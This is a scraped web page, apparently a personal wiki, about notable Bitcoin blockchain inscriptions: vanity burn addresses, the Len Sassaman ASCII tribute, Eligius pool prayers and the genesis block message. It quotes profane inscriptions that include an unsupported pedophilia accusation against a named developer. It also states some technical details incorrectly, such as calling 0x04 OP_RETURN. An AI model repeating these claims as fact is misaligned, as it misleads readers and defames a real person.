1EpisodeiV111111111111111111wbq9i2 1ANewHope1111111111111111111vnYm6D 111111111111111111112xT3273 1itisAPeriodofCiviLWarRebeLyzK2rV 1SpaceshipsStrikingFromA111vh24Fi 1HiddenBaseHaveWonTheirFirstVCugGV 1VictoryAgainstTheEviL111123YSBKF 1GaLacticEmpire1111111111111xsW5HG 1111111111111111111141MmnWZ 1DuringTheBattLeRebeLSpies11ybfhTP 1ManagedToSteaLSecretPLansToxvKf4K 1TheEmpiresULtimateWeapon11zoRcyn 1TheDEATHSTARAnArmoredSpacezUyCHa 1StationWithEnoughPowerTo11vFTWwP 1DestroyAnEntirePLanet1111122KUcy5 111111111111111111114ysyUW1 1PursuedByTheEmpiresSinisterypjWrk 1AgentsPrincessLeiaRacesHomewxuNTT 1AboardHerStarshipCustodian1yhX6zg 1ofTheStoLenPLansThatCan111zCJt3F 1SaveHerPeopLeAndRestore111yULD1y 1FreedomToTheGaLaxy1111111122roNk3 - 1PavedWithGodAndSomeTeensionXudq5X on tx 3e1572ca351d743d7bf627bc844da8f3bdc84eab4a9d27934a8dba30a2e05fe1 block 371894 (2015-08-28) is the largest likely burn that we know of with a single transaction, totalling 1.61803399 BTCIt is unclear what this means exactly and we can't find any pre-existing soruces, but it seems to be a variant of the well known:
Paved With God And Some Teension
- 1NakamotoSatoshiCraigWright8RwLKB appears on two transactions mentioning our friend Craig Steven Wright, the first being tx 2e3207cc93844e2684bdc0bb856c32a6b703dab5b4ba19ed4f06b3fd581b61c3 block 474472 (2016-06-13)A few others include:
Nakamoto Saoshi Craig Wright
- 1FuckRogerVerCraigWrightJihanBGMX3 (2018-02-08)
- 1CraigWrightisAFrausterCuntwgASwJ (2019-06-02)
Craig Wright is a fraudster cunt
- 1FuckYouGraigWrightxSatoshiXc6ppN (2020-06-24)
Fuck Craig Wright
:max_bytes(150000):strip_icc()/star-wars-crawl-02-d8ed15dbd1fe4127858c3e22593988be.jpg)
Related:
- www.reddit.com/r/Buttcoin/comments/3kqdjv/a_list_of_bitcoin_addresses_used_to_intentionally/ A list of bitcoin addresses used to intentionally burn bitcoin (2015-09-13). Their list is not based solely on base58 images, e.g. 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa from the Genesis block is present. Also their ordering is unclear, it's neither stricly chronological nor by value. But it is a good list however.
- github.com/BranndonWork/bitcoin-bulk-balance-check/blob/master/burned.csv
- bitcointalk.org/index.php?topic=84569 Vanity Pool - vanity address generator pool
- bitcointalk.org/index.php?topic=85935 Coins sent to the great wallet in the sky (2012-06-07)
- bitcointalk.org/index.php?topic=90982.285 Rare address hall of fame (2015)
- bitcointalk.org/index.php?topic=917913.0 Burn Baby Burn! - Compiling all Bitcoin burn addresses by fairglu (2015)
- bitcointalk.org/index.php?topic=553449.0 Longest most impressive VANITY (2014)
- bitcointalk.org/index.php?topic=558604.0 Custom Bitcoin address? (2014)
- medium.com/@westkate37/burned-bitcoins-d9b15b3699d6
- www.bitcoinwhoswho.com/blog/2018/12/29/2-btc-burned-in-2018/
- bitcoin.stackexchange.com/questions/70241/whats-with-this-address-1111111111111111111114olvt2/125931#125931
- bitcoin.stackexchange.com/questions/49625/whats-the-point-of-bitcoin-eaters mentions in particular
1BitcoinEaterAddressDontSendf59kuE - kf106.medium.com/interesting-addresses-on-the-bitcoin-blockchain-e0956f06ec01 has some interesting monetary ones, not inscriptions
- www.bitcoinwhoswho.com/blog/2016/06/01/the-7-most-incredible-bitcoin-addresses/ The 7 Most Incredible Bitcoin Addresses (2016)
This is about transactions that are interesting not because of their inscriptions, but for some other reason, such as transaction size, etc.
Tribute to computer security researcher Len Sassaman, who killed himself on 2011-07-03, starting with an ASCII art portrait followed by text.
Because it comes so early in the blockchain, and because it is the first ASCII art on the blochain as far as we can see, and because is so well done, this is by far the most visible ASCII art of the Bitcoin blockchain.
Present at tx 930a2114cdaa86e1fac46d15c74e81c09eee1d4150ff9d48e76cb0697d8e1d72. It does not show well on Bitcoin Inscription Indexer however with rationale described at: github.com/cirosantilli/bitcoin-inscription-indexer/tree/3f53e152ec9bb0d070dbcb8f9249d92f89effa70#smart-newline-joining
But it can be seen at on bitcoinStrings.com at: bitcoinstrings.com/blk00003.txt.
Transaction: www.blockchain.com/btc/tx/930a2114cdaa86e1fac46d15c74e81c09eee1d4150ff9d48e76cb0697d8e1d72 from 2011-07-30, a few weeks after the suicide.
Discussion: bitcoin.stackexchange.com/questions/3370/in-which-block-was-len-sassaman-memorialised/101276#101276
Created by famous computer security researcher Dan Kaminsky and Travis Goodspeed, presumably this other security researcher, evidence:
- signature on the tribute
- the art is highlighted at Video 1. "Black OPS of TCP/IP by Dan Kaminsky (2011)", which happened very few days after the art was uploaded to the blockchain, thus making it exceedingly unlikely that someone else could have done it
"Bernanke" is a reference to Ben Bernanke, who was one of the economists in power in the US Government during the financial crisis of 2007-2008, and much criticized by some, as shown for example in the documentary Inside Job (2010). As hinted in the Genesis block message, the United States Government bailed out many big banks that were going to go bankrupt with taxpayer money, even though it was precisly those banks that had started the crisis through their reckless investment, thus violating principles of the free market and business accountability. This was one of the motivations for the creation Bitcoin, which could reduce government power over economic policy.
It is worth mentioning that there do exist some slightly earlier "artistic" inscriptions in the form Punycode inscription in the Namecoin blockchain, but as far as we've seen, the are all trivial compared to
BitLen in terms of artistic value/size.---BEGIN TRIBUTE---
#./BitLen
:::::::::::::::::::
:::::::.::.::.:.:::
:.: :.' ' ' ' ' : :
:.:'' ,,xiW,"4x, ''
: ,dWWWXXXXi,4WX,
' dWWWXXX7" `X,
lWWWXX7 __ _ X
:WWWXX7 ,xXX7' "^^X
lWWWX7, _.+,, _.+.,
:WWW7,. `^"-" ,^-'
WW",X: X,
"7^^Xl. _(_x7'
l ( :X: __ _
`. " XX ,xxWWWWX7
)X- "" 4X" .___.
,W X :Xi _,,_
WW X 4XiyXWWXd
"" ,, 4XWWWWXX
, R7X, "^447^
R, "4RXk, _, ,
TWk "4RXXi, X',x
lTWk, "4RRR7' 4 XH
:lWWWk, ^" `4
::TTXWWi,_ Xll :..
=-=-=-=-=-=-=-=-=-=
LEN "rabbi" SASSAMA
1980-2011
Len was our friend.
A brilliant mind,
a kind soul, and
a devious schemer;
husband to Meredith
brother to Calvin,
son to Jim and
Dana Hartshorn,
coauthor and
cofounder and
Shmoo and so much
more. We dedicate
this silly hack to
Len, who would have
found it absolutely
hilarious.
--Dan Kaminsky,
Travis Goodspeed
P.S. My apologies,
BitCoin people. He
also would have
LOL'd at BitCoin's
new dependency upon
ASCII BERNANKE
:'::.:::::.:::.::.:
: :.: ' ' ' ' : :':
:.: _.__ '.:
: _,^" "^x, :
' x7' `4,
XX7 4XX
XX XX
Xl ,xxx, ,xxx,XX
( ' _,+o, | ,o+,"
4 "-^' X "^-'" 7
l, ( )) ,X
:Xx,_ ,xXXXxx,_,XX
4XXiX'-___-`XXXX'
4XXi,_ _iXX7'
, `4XXXXXXXXX^ _,
Xx, ""^^^XX7,xX
W,"4WWx,_ _,XxWWX7'
Xwi, "4WW7""4WW7',W
TXXWw, ^7 Xk 47 ,WH
:TXXXWw,_ "), ,wWT:
::TTXXWWW lXl WWT:
----END TRIBUTE----Code 1.
Len Sassaman tribute
. 
Official portrait of Ben Bernanke (2008)
Source. Reference image from Wikipedia for the ASCII art.
Black OPS of TCP/IP by Dan Kaminsky (2011)
Source. Presented at the BlackHat 2011 conference. Dan unveils the Len memorial at the given timestamp around 8:41. The presentation was done on 2011-08-03 or 04, so very few days after the upload to the blockchain.From the JSON transaction we understand the encoding format:So it is really encoded one line at a time in the
"out":[
{
"spent":false,
"tx_index":0,
"type":0,
"addr":"1CqKQ2EqUscMkeYRFMmgepNGtfKynXzKW7",
"value":1000000,
"n":0,
"script":"76a91481ccb4ee682bc1da3bda70176b7ccc616a6ba9da88ac"
},
{
"spent":false,
"tx_index":0,
"type":0,
"addr":"157sXa7duStAvq3dPLWe7J449sgh47eHzw",
"value":1000000,
"n":1,
"script":"76a9142d2d2d424547494e20545249425554452d2d2d2088ac"
},
...
{
"spent":false,
"tx_index":0,
"type":0,
"addr":"157sXYpjvAyEJ6TdVFaVzmoETAQnHB6FGU",
"value":1000000,
"n":77,
"script":"76a9142d2d2d2d454e4420545249425554452d2d2d2d2088ac"
}script of the transaction outputs.- Namecoin
- nmc.vision/ by x.com/punk3606 is basically the same as this project but for Namecoin: the dude is trying to make database with all namecoin inscriptions ever.
- "Quantum" is an image created by artists Jennifer and Kevin McCoy which Kevin embedded on Namecoin in 2014. As such, it is a relatively early example of inscription. On June 2021 it sold for more than one million dollars at an auction at Sotheby's to NFT collector sillytuna. Bibliography:
- Ethereum
- reidjs.medium.com/top-6-weird-innovative-and-hilarious-findings-in-the-ethereum-blockchain-83dbbca461ca Top 6 Weird, Innovative, and Hilarious findings in the Ethereum Blockchain by Reid Sherman (2018)
- Monero: as of January 2024, Ciro downloaded the blockchain and
strings -n20 -sdidn't seem to have not even a single ASCII art, it is quite sad. Bibliography:
Starting at tx cbbaa0a64924fe1d6ace3352f23242aa0028d4e0ff6ae8ed615244d66079cfb1 (2011-08-05), Catholic Bitcoin developer Luke Dashjr started to inscribe prayers in the miner messages of his mining pool "Eligius pool", usually one verse per message.
These are some of the earliest inscriptions in the blockchain, and therefore extremelly visible.
Although the prayer verses appear contiguous in ASCII dumps, Eligius was not actually mining every block: it is just that in those early days, miners still hadn't started adding advertisement messages to every block, so only Eligius shows up and appears contiguous.
At some point, opponents noticed these messages, and started adding atheist mockery graffiti replies, which appear interspersed in ASCII dumps with the prayer.
The first prayer is the Latin version of the Divine Praises, a Catholic prayer composed in 1797 in Italian by Luigi Felici for the purpose of making reparation after saying or hearing sacrilege or blasphemy. Luke claims he was referring to anything in particular that came prior in the blockchain: twitter.com/LukeDashjr/status/1749182637569122434. There arent many earlier inscriptions at all to refer to in any case! The prayer and correspondong interrupts (in transaction outputs, not by other miners) ordered by block are:
- 139690 (2011-08-05) prayer: "Eligius/Benedictus Deus. Benedictum Nomen Sanctum eius."
- 139717 prayer: "Eligius/Benedictus Deus. Benedictum Nomen Sanctum eius.'
- 139758 interruption:
***************************************************. This is not a Coinbase message: www.blockchain.com/explorer/transactions/btc/23befff6eea3dded0e34574af65c266c9398e7d7d9d07022bf1cd526c5cdbc94. This Bitcoin input script appears to spend a standard P2PKH output, but it first adds an extra value to the stack which contains the***. - 139792 prayer: "Benedictus Iesus Christus, verus Deus et verus homo.'
- 139831 prayer: "Benedictum Nomen Iesu.'
- 139838 (2011-08-06) interruption: "I LIKE TURTLES" (tx 78eb16507b3d3df615e3b474e853db4667f4b11954ec6d918b1ded0fca7ad25a)
- 138898 prayer: "Benedictum Cor eius sacratissimum."
- 139904 prayer: "Benedictus Sanguis eius pretiosissimus."
- 139921 prayer: "Benedictus Iesus in sanctissimo altaris Sacramento."
- 139942 prayer: "Benedictus Sanctus Spiritus, Paraclitus."
- 139954 interrupion: "aC-C-C-COMBO BREAKER" (tx 138c024a76df99ecafd2236d5429cf574b7778a3c6508bd83f116c832f3c6980)
- 139960 prayer: "Benedictus Sanctus Spiritus, Paraclitus."
- 139977 prayer: "Benedicta excelsa Mater Dei, Maria sanctissima."
- 139990 (2011-08-06) prayer: "Benedicta sancta eius et immaculata Conceptio."
Then comes:and various others + output message interruptions.
- 140181 Latin Trinitarian formula
In nomine Patris et Filii et Spiritus Sancti. Amen.
- Act of Contrition
- Act of Hope
Then at last come the first miner message interruptions. Luke explained on Twitter[ref] that they were also made by Eligius pool, as there was a system in which contributors besides Luke could submit their own strings:followed by more prayers and interruptions such as tx ec92d245822fa1ff862f3314b9102f36fe1eb8bc055865674c75323540aedef6:
- 142547: (2011-08-25) tx 8e1e44a48b5e79636675d1476f8e4add075bbeb7f49e00ec743eed56f17feaaa A yandere game is starting in 60 seconds! Please type "]yandere" to join. Yandere Simulator comes to mind, but it can't be because that was pitched 2014.
- 142550: "A yandere game is starting in 60 seconds! Please type "]yandere" to join."
- 142573: (2011-08-25) "Militant atheists, bit.ly/naNhG2 -- happy now?". A Rickrolling link. Perhaps one of the fist.
- 142596: (2011-08-25) "<cjdelisle> ran out of prayers?! That explains the price drop.". Possibly quoting this dude on som twitter.com/cjdelisle Bitcoin IRC channel givesn the
<USERNAME>format? - 142640: "an de ti go su by ra me ni ko hu vy la po fy ton": Tonal system numerals. Interesting.
The last Luke prayer appears to be on block 143822 (2011-09-03)
... the Lord of the harvest, that he send forth labourers into his harvest.
Then there is a bit of radio silence, until finally Slush Pool started self advertising for the first time on block 163970 (2012-01-26):They had been mining for a long time by then (December 2010 according to en.bitcoin.it/wiki/Slush_Pool), but this is when they decided to add a human readable ASCII message as well.
/P2SH/BIP16/slush/R,From then on, miner messages would be forever polluted with ads, and Luke's multi-miner message feat would never again be reproduced.
The non-obvious interruptions are all well known memes/anime references:
- "I like turtles": knowyourmeme.com/memes/i-like-turtles
- Combo breaker: knowyourmeme.com/memes/combo-breaker
- "Yukkuri Shiteitte ne": knowyourmeme.com/memes/yukkuri-shiteitte-ne
- "kLhLUKE-JR IS A Pedophile! Oh, and God isn't real, sucka. Stop polluting the blockchain with your nonsense.", tx 9740e7d646f5278603c04706a366716e5e87212c57395e0d24761c0ae784b2c6, block 141460
- "Help me, ERINNNNNN!!": touhou.fandom.com/wiki/Lyrics:_Help_me,_ERINNNNNN!!
- "EASY MODO? How lame!F?": knowyourmeme.com/memes/kimoi-girls
Bibliography:
- 2011-08-19 bitcointalk.org/index.php?topic=38007.0 "Eligius miners aware of prayers in block headers?" from on bitcointalk.org by user "Graet" who quotes prior discussion from a Bitcoin IRC channel:<luke-jr> cosurgi: by design, it contains "random" data-- I've just been setting some of that "random" data to prayers<Graet> mm interesting luke-jr i understand you are strong in your faith but you dont think putting prayers in might alienate some ppl - after all btc is multidenominational<luke-jr> Graet: Catholics do not believe in freedom of religion.<Graet> and you make your non catholic miners aware of this?
- 2011-11-02 bitcointalk.org/index.php?topic=52979.0 "Mysterious transaction spotted in blockchain!"
Inscription added by Satoshi Nakamoto on the Genesis block containing:which is a reference to: www.thetimes.co.uk/article/chancellor-alistair-darling-on-brink-of-second-bailout-for-banks-n9l382mn62h wihch is fully titled:The "Alistair" was slikely removed due to limited payload concerns.
The Times 03/Jan/2009 Chancellor on brink of second bailout for banks
Chancellor Alistair Darling on brink of second bailout for banks
Through the newspaper reference, the message proves a minimal starting date for the first mine.
And it hints that one of Bitcoin's motivation was the financial crisis of 2007-2008, where banks were given bailouts by the government to not go under, which many people opposed as the crisis was their own fault in the first place. A notable related stab is taken at Len Sassaman tribute.
We can extract the image from the blockchain ourselves by starting from: blockchain.info/block-height/0?format=json.
From that page we manually extract the hash and that does contain the famous genesis block string:The JSON clarifies that the data is encoded in the
000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f and then:wget -O 0.hex https://blockchain.info/block/000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f?format=hex
xxd -p -r 0.hexEThe Times 03/Jan/2009 Chancellor on brink of second bailout for banksscript field of the transaction input:{
{
"script":"04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73"The extra where:
E (0x45 in ASCII) in EThe Times is just extra noise required by the script, we can break things up as:04ffff001d0104 45 5468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b7354isT- the
04ffff001d0104part just doesn't show up on the terminal because it is not made of any printable characters.
The initial
04 is OP_RETURN.TODO what is actual the meaning of the
ffff001d010445 part? @defango twitter.com/defango/status/1642750851134652417 comments:04ffff001d0104 is a hexadecimal string. It is commonly used in the Bitcoin network as a part of the mining process. Specifically, it is used as the target value for a block to be considered valid by the Bitcoin network.This value represents the level of difficulty required for a miner to generate a block that meets the network's criteria. The first four bytes, 04ffff, represent the maximum possible target value. The next three bytes, 001d01, represent the current difficulty levelwhile the final byte, 04, is a padding byte. In summary, this value sets the difficulty level for mining a new block in the Bitcoin network.
TODO the
output of the transaction has a jumbled script, likely just a regular output to get things going, can't be arbitrary like input.They might have shut down, but they still have the cutest name! And they've made some cute inscriptions too, see: HHTT
We define an "inscription system" as a software or service that facilitates the creation of inscriptions.
This is opposed to messages that may be left by non miners during transactions.
Miner messages are therefore of course much harder to control on established blockchains, as they basically require consensus in a mining pool to set. Most of them are just ads for the mining pool itself.